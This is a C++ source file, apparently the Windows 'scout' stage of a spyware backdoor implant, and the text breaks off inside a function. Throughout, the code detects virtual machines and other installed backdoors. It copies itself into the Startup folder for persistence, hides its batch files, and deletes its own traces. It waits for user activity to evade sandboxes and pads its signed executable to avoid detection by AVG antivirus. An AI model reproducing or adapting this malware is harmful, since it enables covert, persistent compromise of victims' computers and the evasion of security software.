core-scout-win32/main.cpp
#include <Windows.h>
#include <stdio.h>
#include <Shlobj.h>
#include <Shlwapi.h>
#include <Sddl.h>
#include <Wbemidl.h>
#include <comdef.h>
#include <Shobjidl.h>
#include "main.h"
#include "md5.h"
#include "api.h"
#include "binpatched_vars.h"
#include "autodelete_batch.h"
#include "agent_device.h"
#include "mybits.h"
#include "antivm.h"
#include "zmem.h"
#include "utils.h"
#include "blacklist.h"
#define _GLOBAL_VERSION_FUNCTIONS_ //defines the exported function and the GetSharedMemoryName funcion
#include "version.h"
#pragma comment(lib, "advapi32")
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "winhttp")
#pragma comment(lib, "netapi32")
#pragma comment(lib, "gdiplus")
#pragma comment(lib, "shell32")
#pragma comment(lib, "shlwapi")
extern VOID SyncThreadFunction();
extern PWCHAR GetRandomString(ULONG uMin);
extern PDYNAMIC_WINSOCK dynamicWinsock;
extern PDYNAMIC_SHELL32 dynamicShell32;
//extern BYTE pServerKey[32];
//extern BYTE pConfKey[32];
//extern BYTE pSessionKey[20];
//extern BYTE pLogKey[32];
//extern BOOL bLastSync;
//BOOL uMelted = FALSE;
//PULONG uSynchro;
BOOL bLastSync = FALSE;
BOOL bSync = FALSE;
HANDLE hScoutSharedMemory;
/*
//#pragma comment(linker, "/EXPORT:MyConf=?MyConf@@YAXXZ")
//PWCHAR urs73A(PULONG pSynchro) // questa viene richiamata dai meltati
//__declspec(dllexport) PWCHAR jfk31d1QQ(PULONG pSynchro)
//__declspec(dllexport) PWCHAR reuio841001a(PULONG pSynchro) // questa viene richiamata dai meltati
//__declspec(dllexport) PWCHAR pqjjslanf(PULONG pSynchro) // questa viene richiamata dai meltati
//__declspec(dllexport) PWCHAR robertlee(PULONG pSynchro) // questa viene richiamata dai meltati
__declspec(dllexport) PWCHAR eflmakfil(PULONG pSynchro) // questa viene richiamata dai meltati
{
#ifdef _DEBUG
OutputDebugString(L"[+] Setting uMelted to TRUE\n");
#endif
PWCHAR pScoutName;
uMelted = TRUE;
uSynchro = pSynchro;
pScoutName = (PWCHAR)VirtualAlloc(NULL, strlen(SCOUT_NAME)*sizeof(WCHAR) + 2*sizeof(WCHAR), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, SCOUT_NAME, strlen(SCOUT_NAME), pScoutName, strlen(SCOUT_NAME) + 2);
return pScoutName;
}
PCHAR GetScoutSharedMemoryName()
{
CHAR strFormat[] = { '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '\0' };
PCHAR pName = (PCHAR) malloc(16);
memset(pName, 0x0, 16);
_snprintf_s(pName,
16,
_TRUNCATE,
strFormat,
pServerKey[5], pServerKey[6], pServerKey[5], pServerKey[4], pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0], pServerKey[2]);
return pName;
}
*/
//#pragma section(".text", read,exec)
//__declspec(allocate(".text")) DWORD ewiogh[1024] = {0xf1caf1ca, 0xf1caf1ca};
int CALLBACK WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
#ifdef _DEBUG_BINPATCH
MessageBox(NULL, L"_DEBUG_BINPATCH", L"_DEBUG_BINPATCH", 0);
#endif
if (GetCurrentThread() == 0x0)
{
//MessageBox(NULL, L"Error", L"wrong commandline arguments", 0);
MessageBox(NULL, MSG_1, L"Error", 0);
return 0;
}
memcpy(pServerKey, CLIENT_KEY, 32);
memcpy(pConfKey, ENCRYPTION_KEY_CONF, 32);
memcpy(pLogKey, ENCRYPTION_KEY, 32);
#ifdef _DEBUG_BINPATCH
MD5((PBYTE)CLIENT_KEY, 32, (PBYTE)pServerKey);
MD5((PBYTE)ENCRYPTION_KEY_CONF, 32, (PBYTE)pConfKey);
MD5((PBYTE)ENCRYPTION_KEY, 32, (PBYTE)pLogKey);
#endif
/* init dynamic winsock */
if((dynamicWinsock = (PDYNAMIC_WINSOCK) malloc(sizeof(DYNAMIC_WINSOCK))) == NULL)
return 0;
if(!API_LoadWinsock(&dynamicWinsock))
return 0;
/* init dynamic shell32 */
if((dynamicShell32 = (PDYNAMIC_SHELL32) malloc(sizeof(DYNAMIC_SHELL32))) == NULL)
return 0;
if(!API_LoadShell32(&dynamicShell32))
return 0;
// first check for elite presence
BOOL bVM = AntiVM();
BOOL bElite = ExistsEliteSharedMemory();
if (bVM || bElite)
{
#ifdef _DEBUG
OutputDebugString(L"[+] An ELITE backdoor is already installed here!\n");
#endif
if (bElite && AmIFromStartup()) // FIXME: questo nn puo' essere..
DeleteAndDie(FALSE);
if (uMelted)
{
*uSynchro = 1;
ExitThread(0);
}
else
return 0;
}
// check if I'm already running
if (ExistsScoutSharedMemory()) // FIXME - mi deleto perche' puo' essere il soldier, tanto se trova la shared mem vuol dire che c'e' un altro scout
{
#ifdef _DEBUG
OutputDebugString(L"[+] Scout already active\n");
#endif
if (uMelted)
{
*uSynchro = 1;
ExitThread(0);
}
else
return 0;
}
MySleep(WAIT_DROP/2); // diamo tempo al soldier o elite, di eventualmente vincere la race se non siamo riusciti a cancellarci per qualche motivo
if (!CreateScoutSharedMemory())
{
#ifdef _DEBUG
OutputDebugString(L"[+] Cannot create shared memory\n");
#endif
if (uMelted)
{
*uSynchro = 1;
ExitThread(0);
}
else
return 0;
}
MySleep(WAIT_DROP/2);
//check blacklist
if(!BL_CheckList())
return 0;
//la CoInitializeEx restituisce un errore se utilizzata nella main e le successiva chiamata della CoInitialize,
//nella GetDeviceInfo() e BitTransfer non andavanp a buon fine. Funzioni spostate all'interno della funzione SyncThreadFunction
//HRESULT hRet = CoInitializeEx(0, COINIT_MULTITHREADED);
//CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE,NULL);
// do not drop if kaspersky x86
//BOOL bIsWow64, bIsOS64, bDrop;
//IsX64System(&bIsWow64, &bIsOS64);
//bDrop = TRUE;
// if (!bIsOS64)
// {
// WCHAR pKasp[] = { L's', L'p', L'e', L'r', L's', L'k', L'y', 0x0 };
// PWCHAR pApplicationList = GetApplicationList(FALSE);
// if (StrStrI(pApplicationList, pKasp))
// bDrop = FALSE;
// free(pApplicationList);
// }
if (!uMelted)
{
Drop();
MySleep(1000);
AvgInvisibility();
}
UseLess();
WaitForInput();
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SyncThreadFunction, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
if (hScoutSharedMemory)
{
CloseHandle(hScoutSharedMemory);
hScoutSharedMemory = NULL;
}
if (uMelted)
{
*uSynchro = 1;
ExitThread(0);
}
return 0;
}
VOID Drop()
{
if (!AmIFromStartup())
{
#ifdef _DEBUG
OutputDebugString(L"[+] Dropping..\n");
#endif
WCHAR strExeFormat[] = { L'%', L'S', L'.', L'e', L'x', L'e', L'\0' };
LPWSTR strDestPath = GetStartupScoutName();
LPWSTR strSourcePath = GetMySelfName();
LPWSTR strStartupPath = GetStartupPath();
LPWSTR strDestFileName = (LPWSTR) malloc((strlen(SCOUT_NAME)+5)*sizeof(WCHAR));
SecureZeroMemory(strDestFileName, (strlen(SCOUT_NAME)+5)*sizeof(WCHAR));
_snwprintf_s(strDestFileName, strlen(SCOUT_NAME)+5, _TRUNCATE, strExeFormat, SCOUT_NAME);
if (GetCurrentThread() == 0x0)
MessageBox(NULL, MSG_2, L"Warning", 1);
//MessageBox(NULL, L"Warning", L"Trying to recover..", 1);
BOOL bFileExists = FALSE;
BitTransfer(strSourcePath, strDestPath);
for (DWORD i=0; i<2; i++)
{
if (PathFileExists(strDestPath))
{
bFileExists = TRUE;
break;
}
Sleep(1000);
}
if(!bFileExists)
{
if (!SUCCEEDED(ComCopyFile(strSourcePath, strStartupPath, strDestFileName)) || !PathFileExists(strDestPath))
DoCopyFile(strSourcePath, strDestPath);
}
//check/set the file attributes (read-only check)
if(PathFileExists(strDestPath))
CheckFileAttribs(strDestPath);
free(strDestPath);
free(strSourcePath);
free(strStartupPath);
free(strDestFileName);
}
}
VOID DoCopyFile(PWCHAR pSource, PWCHAR pDest)
{
PWCHAR pBatchName;
CreateCopyBatch(pSource, pDest, &pBatchName);
StartBatch(pBatchName);
MySleep(8000);
DeleteFile(pBatchName);
free(pBatchName);
}
HRESULT CreateItemFromParsingName(__in LPWSTR strFileName, __out IShellItem **psi)
{
PIDLIST_ABSOLUTE pidl;
//HRESULT hr = SHParseDisplayName(strFileName, 0, &pidl, SFGAO_FOLDER, 0);
HRESULT hr = dynamicShell32->fpSHParseDisplayName(strFileName, 0, &pidl, SFGAO_FOLDER, 0);
if (SUCCEEDED(hr))
{
//hr = SHCreateShellItem(NULL, NULL, pidl, psi);
hr = dynamicShell32->fpSHCreateShellItem(NULL, NULL, pidl, psi);
if (SUCCEEDED(hr))
return S_OK;
}
return E_FAIL;
}
HRESULT ComCopyFile(__in LPWSTR strSourceFile, __in LPWSTR strDestDir, __in_opt LPWSTR strNewName)
{
IFileOperation *pfo;
HRESULT hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pfo));
if (SUCCEEDED(hr))
{
hr = pfo->SetOperationFlags(FOF_NO_UI);
if (SUCCEEDED(hr))
{
IShellItem *psiFrom = NULL;
//hr = SHCreateItemFromParsingName(strSourceFile, NULL, IID_PPV_ARGS(&psiFrom));
hr = CreateItemFromParsingName(strSourceFile, &psiFrom);
if (SUCCEEDED(hr))
{
IShellItem *psiTo = NULL;
if (NULL != strDestDir)
hr = CreateItemFromParsingName(strDestDir, &psiTo);
//hr = SHCreateItemFromParsingName(strDestDir, NULL, IID_PPV_ARGS(&psiTo));
if (SUCCEEDED(hr))
{
hr = pfo->CopyItem(psiFrom, psiTo, strNewName, NULL);
if (NULL != psiTo)
psiTo->Release();
}
psiFrom->Release();
}
if (SUCCEEDED(hr))
hr = pfo->PerformOperations(); // copy file
}
pfo->Release();
}
return hr;
}
VOID UseLess()
{
if (GetCurrentProcessId() == 4)
{
//MessageBox(NULL, L"Error", L"Aborting now", 0);
MessageBox(NULL, MSG_3, L"Error", 0);
memset(DEMO_TAG, 0x0, 3);
memset(WMARKER, 0x0, 3);
memset(CLIENT_KEY, 0x0, 3);
memset(ENCRYPTION_KEY_CONF, 0x0, 3);
memset(SCOUT_NAME, 0x0, 3);
memset(SCREENSHOT_FLAG, 0x0, 4);
}
}
VOID WaitForInput()
{
ULONG uLastInput;
LASTINPUTINFO pLastInputInfo;
#ifdef _DEBUG
OutputDebugString(L"[+] FIRST_WAIT\n");
#endif
MySleep(WAIT_INPUT);
pLastInputInfo.cbSize = sizeof(LASTINPUTINFO);
GetLastInputInfo(&pLastInputInfo);
uLastInput = pLastInputInfo.dwTime;
while (1)
{
pLastInputInfo.cbSize = sizeof(LASTINPUTINFO);
if (GetLastInputInfo(&pLastInputInfo))
{
if (pLastInputInfo.dwTime != uLastInput)
break;
}
else
{
#ifdef _DEBUG
OutputDebugString(L"[+] GetLastInput FAILED\n");
#endif
MySleep(3000);
break;
}
#ifdef _DEBUG
OutputDebugString(L"[+] Waiting for input...\n");
#endif
MySleep(3000);
}
}
VOID DeleteAndDie(BOOL bDie)
{
HANDLE hFile;
////char batch_format[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };
char batch_format[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'e', 'c', 'h', 'o', ' ', ';', '>', '"', '%', 'S', '"', 0x0 };
if (hScoutSharedMemory)
{
CloseHandle(hScoutSharedMemory);
hScoutSharedMemory = NULL;
}
if (uMelted) // from melted app
{
PWCHAR pFullPath = GetStartupScoutName();
DeleteFile(pFullPath);
free(pFullPath);
if (bDie)
{
*uSynchro = 1;
ExitThread(0);
}
return;
}
// not melted
if (!AmIFromStartup())
{
PWCHAR pName = GetStartupScoutName();
DeleteFile(pName);
free(pName);
if (bDie)
ExitProcess(0);
else
return;
}
else // batch
{
PWCHAR pTempPath = GetTemp();
PWCHAR pBatFileName = (PWCHAR)malloc(32767 * sizeof(WCHAR));
ULONG uTick = GetTickCount();
do
{
//_snwprintf_s(pBatFileName, 32766, _TRUNCATE, L"%s\\%d98355.bat", pTempPath, uTick++);
//_snwprintf_s(pBatFileName, 32766, _TRUNCATE, L"%s\\%d437890.bat", pTempPath, uTick++);
_snwprintf_s(pBatFileName, 32766, _TRUNCATE, L"%s\\%d%s", pTempPath, uTick++, BATCH_FILE_1);
hFile = CreateFile(pBatFileName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile && hFile != INVALID_HANDLE_VALUE)
break;
}
while(1);
#ifdef _DEBUG
OutputDebugString(pBatFileName);
#endif
// get full filename in startup
PWCHAR pExeFileName = GetStartupScoutName();
// create batch buffer
ULONG uSize = strlen(batch_format) + 32676*3 + 1;
LPSTR pBatchBuffer = (LPSTR)malloc(uSize);
memset(pBatchBuffer, 0x0, uSize);
_snprintf_s(pBatchBuffer, uSize, _TRUNCATE, batch_format, pExeFileName, pExeFileName, pBatFileName);
// write it
ULONG uOut;
WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
CloseHandle(hFile);
if (StartBatch(pBatFileName))
{
if (bDie)
{
if (uMelted)
{
*uSynchro = 1;
ExitThread(0);
}
else
ExitProcess(0);
}
else
return;
}
#ifdef _DEBUG
else
OutputDebugString(L"[!!] Error executing autodelete batch!!\n");
#endif
free(pBatFileName);
free(pExeFileName);
free(pBatchBuffer);
free(pTempPath);
}
}
/*
PCHAR GetOldScoutSharedMemoryName()
{
PCHAR pName = (PCHAR)malloc(16);
memset(pName, 0x0, 16);
_snprintf_s(pName,
16,
_TRUNCATE,
"%02X%02X%02X%02X%c%c",
pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0], 'B', 'R');
return pName;
}
*/
PCHAR GetEliteSharedMemoryName()
{
PCHAR pName = (PCHAR)malloc(16);
memset(pName, 0x0, 16);
memcpy(pName, WMARKER, 7);
/*
_snprintf_s(pName,
16,
_TRUNCATE,
//"%cX%X%02X%02X%02X%02X%02X",
"%.7s",
&WMARKER[0], &WMARKER[1], &WMARKER[2], &WMARKER[3], &WMARKER[4], &WMARKER[5], &WMARKER[6]);
*/
return pName;
}
/*
PCHAR GetOldEliteSharedMemoryName()
{
PCHAR pName = (PCHAR)malloc(16);
memset(pName, 0x0, 16);
_snprintf_s(pName,
16,
_TRUNCATE,
"%c%c%c%02X%02X%02X%02X",
'F', 'S', 'B', pServerKey[0], pServerKey[1], pServerKey[2], pServerKey[3]);
return pName;
}
*/
BOOL CreateScoutSharedMemory()
{
PCHAR pName;
#ifdef _DEBUG
OutputDebugString(L"[+] Creating scout shared memory\n");
#endif
if (ExistsScoutSharedMemory())
return FALSE;
pName = GetScoutSharedMemoryName();
hScoutSharedMemory = CreateFileMappingA(INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE,
0,
SHARED_MEMORY_WRITE_SIZE,
pName);
free(pName);
if (hScoutSharedMemory)
return TRUE;
return FALSE;
}
BOOL ExistsScoutSharedMemory()
{
HANDLE hMem;
PCHAR pName;
BOOL uRet = FALSE;
pName = GetScoutSharedMemoryName();
hMem = OpenFileMappingA(FILE_MAP_READ, FALSE, pName);
if (hMem)
{
uRet = TRUE;
CloseHandle(hMem);
}
free(pName);
return uRet;
}
BOOL ExistsEliteSharedMemory()
{
HANDLE hMem;
PCHAR pName;
BOOL uRet = FALSE;
pName = GetEliteSharedMemoryName();
hMem = OpenFileMappingA(FILE_MAP_READ, FALSE, pName);
if (hMem)
{
uRet = TRUE;
CloseHandle(hMem);
}
free(pName);
return uRet;
}
BOOL AmIFromStartup()
{
BOOL uRet;
PWCHAR pStartupPath = GetStartupPath();
PWCHAR pCurrentPath = GetMySelfName();
if (StrRChr(pCurrentPath, NULL, L'\\'))
*(StrRChr(pCurrentPath, NULL, L'\\')) = 0;
if (StrCmpI(pCurrentPath, pStartupPath))
uRet = FALSE;
else
uRet = TRUE;
free(pStartupPath);
free(pCurrentPath);
return uRet;
}
PWCHAR GetMySelfName()
{
PWCHAR pName = (PWCHAR)malloc(32767*2 * sizeof(WCHAR));
PWCHAR pShort = (PWCHAR)malloc(32767*2 * sizeof(WCHAR));
GetModuleFileName(NULL, pName, 32766*2);
if (!GetShortPathName(pName, pShort, 32767*2))
{
free(pShort);
return pName;
}
free(pName);
return pShort;
}
PWCHAR GetStartupPath()
{
PWCHAR pStartupPath = (PWCHAR)malloc(32767*sizeof(WCHAR));
PWCHAR pShortPath = (PWCHAR)malloc(32767*sizeof(WCHAR));
//SHGetSpecialFolderPath(NULL, pStartupPath, CSIDL_STARTUP, FALSE);
dynamicShell32->fpSHGetSpecialFolderPathW(NULL, pStartupPath, CSIDL_STARTUP, FALSE);
GetShortPathName(pStartupPath, pShortPath, 4096);
free(pStartupPath);
return pShortPath;
}
PWCHAR GetStartupScoutName()
{
WCHAR strFormat[] = { L'%', L's', L'\\', L'%', L'S', L'.', L'e', L'x', L'e', L'\0' };
PWCHAR pStartupPath = GetStartupPath();
PWCHAR pFullPath = (PWCHAR)malloc(32767*sizeof(WCHAR));
_snwprintf_s(pFullPath, 32767, _TRUNCATE, strFormat, pStartupPath, SCOUT_NAME);
free(pStartupPath);
return pFullPath;
}
PWCHAR GetTemp()
{
WCHAR strTemp[] = { L'T', L'M', L'P', L'\0' };
PWCHAR pTemp = (PWCHAR)malloc(4096 * sizeof(WCHAR));
PWCHAR pShort = (PWCHAR)malloc(4096 * sizeof(WCHAR));
GetEnvironmentVariable(strTemp, pTemp, 32767); // FIXME GetTempPath
GetShortPathName(pTemp, pShort, 4096);
free(pTemp);
return pShort;
}
VOID MySleep(ULONG uTime)
{
//HANDLE hThread = GetCurrentThread();
//WaitForSingleObject(hThread, uTime);
Sleep(uTime);
}
BOOL StartBatch(PWCHAR pName)
{
BOOL bRet;
STARTUPINFO si;
PROCESS_INFORMATION pi;
PWCHAR pApplicationName = (PWCHAR)malloc(4096 * sizeof(WCHAR));
WCHAR strOpts[] = { L'/', L'c', L' ', L'%', L's', L'\0' };
WCHAR pTempInterpreter[] = { L'%', L'S', L'Y', L'S', L'T', L'E', L'M', L'R', L'O', L'O', L'T', L'%', L'\\', L's', L'y', L's', L't', L'e', L'm', L'3', L'2', L'\\', L'c', L'm', L'd', L'.', L'e', L'x', L'e', 0x0 };
PWCHAR pInterpreter = (PWCHAR) malloc(32767 * sizeof(WCHAR));
ExpandEnvironmentStrings(pTempInterpreter, pInterpreter, 32767 * sizeof(WCHAR));
_snwprintf_s(pApplicationName, 4095, _TRUNCATE, strOpts, pName);
SecureZeroMemory(&si, sizeof(STARTUPINFO));
SecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (GetCurrentProcessId() == 4)
MessageBox(NULL, MSG_4, L"Alert!", 0);
//MessageBox(NULL, L"Not sure what's happening", L"ALERT!", 0);
bRet = CreateProcess(pInterpreter, pApplicationName, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
free(pApplicationName);
free(pInterpreter);
return bRet;
}
VOID CreateDeleteBatch(PWCHAR pFileName, PWCHAR *pBatchOutName)
{
HANDLE hFile;
ULONG uTick, uOut;
PWCHAR pTempPath = GetTemp();
PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR));
CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };
PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3));
uTick = GetTickCount();
do
{
////_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d02322.bat", pTempPath, uTick++);
//_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d124904.bat", pTempPath, uTick++);
_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d%s", pTempPath, uTick++, BATCH_FILE_2);
hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile && hFile != INVALID_HANDLE_VALUE)
break;
}
while (1);
_snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pFileName, pFileName, pBatchName);
WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
CloseHandle(hFile);
*pBatchOutName = pBatchName;
free(pBatchBuffer);
free(pTempPath);
}
VOID CreateReplaceBatch(PWCHAR pOldFile, PWCHAR pNewFile, PWCHAR *pBatchOutName)
{
HANDLE hFile;
ULONG uTick, uOut;
PWCHAR pTempPath = GetTemp();
PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR));
CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', ' ', '"', '%', 'S', '"', '\r', '\n', 's', 't', 'a', 'r', 't', ' ', '/', 'B', ' ', 'c', 'm', 'd', ' ', '/', 'c', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };
PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3));
uTick = GetTickCount();
do
{
//_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d76833.bat", pTempPath, uTick++);
_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d%s", pTempPath, uTick++, BATCH_FILE_3);
hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile && hFile != INVALID_HANDLE_VALUE)
break;
}
while (1);
_snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pOldFile, pOldFile, pNewFile, pOldFile, pOldFile, pNewFile, pBatchName);
WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
CloseHandle(hFile);
*pBatchOutName = pBatchName;
free(pBatchBuffer);
free(pTempPath);
}
VOID CreateCopyBatch(PWCHAR pSource, PWCHAR pDest, PWCHAR *pBatchOutName)
{
HANDLE hFile;
ULONG uTick ,uOut;
PWCHAR pTempPath = GetTemp();
PWCHAR pBatchName = (PWCHAR)malloc(32767*sizeof(WCHAR));
CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', '"', '%', 'S', '"', 0x0};
PCHAR pBatchBuffer = (PCHAR)malloc(strlen(pBatchFormat) + (32767 * 3));
uTick = GetTickCount();
do
{
WCHAR pName[] = { L'%', L's', L'\\', L'%', L'd', L'.', L'b', L'a', L't', L'\0' };
_snwprintf_s(pBatchName, 32766, _TRUNCATE, pName, pTempPath, uTick++);
hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile && hFile != INVALID_HANDLE_VALUE)
break;
}
while (1);
_snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pSource, pDest);
WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
CloseHandle(hFile);
*pBatchOutName = pBatchName;
free(pBatchBuffer);
free(pTempPath);
}
LPWSTR CreateTempFile()
{
WCHAR pTempPath[MAX_PATH + 1];
LPWSTR pShortTempPath = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR));
LPWSTR pTempFileName = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR));
LPWSTR pShortTempFileName = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR));
memset(pTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
memset(pShortTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
memset(pTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
memset(pShortTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
GetTempPath(MAX_PATH + 1, pTempPath);
GetShortPathName(pTempPath, pShortTempPath, (MAX_PATH + 1)*sizeof(WCHAR));
GetTempFileName(pTempPath, L"13", 0, pTempFileName);
GetShortPathName(pTempFileName, pShortTempFileName, (MAX_PATH + 1)*sizeof(WCHAR));
free(pShortTempPath);
free(pTempFileName);
return pShortTempFileName;
}
VOID AvgInvisibility()
{
/*
Solves Avg General Behavior detection by increasing scout size in startup,
scout not run from startup is not affected by this detection:
- a] current process is not running from startup -> append garbage to scout executable dropped in startup
- b] current process is the scout running from startup -> drop a garbage file in %temp%, the a batch that
waits for current process to bail and then appends
the garbage to scout executable in startup and spawns
a 'fat' scout process
*/
LPWSTR strDestPath = GetStartupScoutName();
LPWSTR strSourcePath = GetMySelfName();
LPWSTR strStartupPath = GetStartupPath();
/* make avg scout fat */
WCHAR szAvg[] = { L'A', L'V', L'G', 0x0 };
PWCHAR pApplicationList = NULL;
BOOL bIsWow64, bIsOS64;
IsX64System(&bIsWow64, &bIsOS64);
if (!bIsOS64)
pApplicationList = GetApplicationList(FALSE);
else
pApplicationList = GetApplicationList(TRUE);
#ifdef _DEBUG
if (!bIsOS64)
OutputDebugString(L"32bit");
else
OutputDebugString(L"64bit");
#endif
if (StrStrI(pApplicationList, szAvg))
{
HANDLE hScout = CreateFile(strDestPath, GENERIC_READ, FILE_SHARE_READ , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hScout == INVALID_HANDLE_VALUE)
{
#ifdef _DEBUG
OutputDebugString(L"Failed opening scout");
OutputDebugString(strDestPath);
OutputDebugString(L"\n");
#endif
} else
{
#ifdef _DEBUG
OutputDebugString(L"Read handle opened ");
OutputDebugString(strDestPath);
OutputDebugString(L"\n");
#endif
/*LARGE_INTEGER lM;
lM.QuadPart = 1048576 + 10;
LONGLONG lPadding = 0;
LARGE_INTEGER lFileSize;
GetFileSizeEx(hScout, &lFileSize);
lPadding = lM.QuadPart - lFileSize.QuadPart;*/
DWORD dwM = (1048576 * 4) + 10;
DWORD dwPadding= 0;
DWORD dwFileSize = GetFileSize(hScout, NULL);
dwPadding = dwM - dwFileSize;
/* padding must an 8 byte multiple */
while( dwPadding % 8 != 0 )
dwPadding += 1;
if( dwPadding > 0 )
{
/* a] not running from startup, just expand scout file on startup */
if( !AmIFromStartup() )
{
BOOL bFileAppended = FALSE;
DWORD dwBytesWritten = 0;
LPBYTE lpGarbagePadding = GetRandomData(dwPadding);
LPBYTE lpFatExecutableBuffer = AppendDataInSignedExecutable(hScout, lpGarbagePadding, dwPadding, &dwFileSize);
/* read only handle was needed by AppendDataInSignedExecutable, now open an w one */
CloseHandle(hScout);
hScout = CreateFile(strDestPath, CREATE_ALWAYS, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if( lpFatExecutableBuffer != NULL )
{
DWORD dwFilePtr = SetFilePointer(hScout, 0, NULL, FILE_BEGIN);
if(dwFilePtr != INVALID_SET_FILE_POINTER)
{
bFileAppended = WriteFile(hScout, lpFatExecutableBuffer, dwFileSize, &dwBytesWritten, NULL);
CloseHandle(hScout);
#ifdef _DEBUG
if(bFileAppended && dwFileSize == dwBytesWritten)
OutputDebugString(L"Scout appended correctly\n");
else
OutputDebugString(L"Issues appending scout\n");
#endif
}
#ifdef _DEBUG
else
{
wchar_t buf[256];
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), buf, 256, NULL);
OutputDebugString(buf);
}
#endif
zfree(lpFatExecutableBuffer);
}
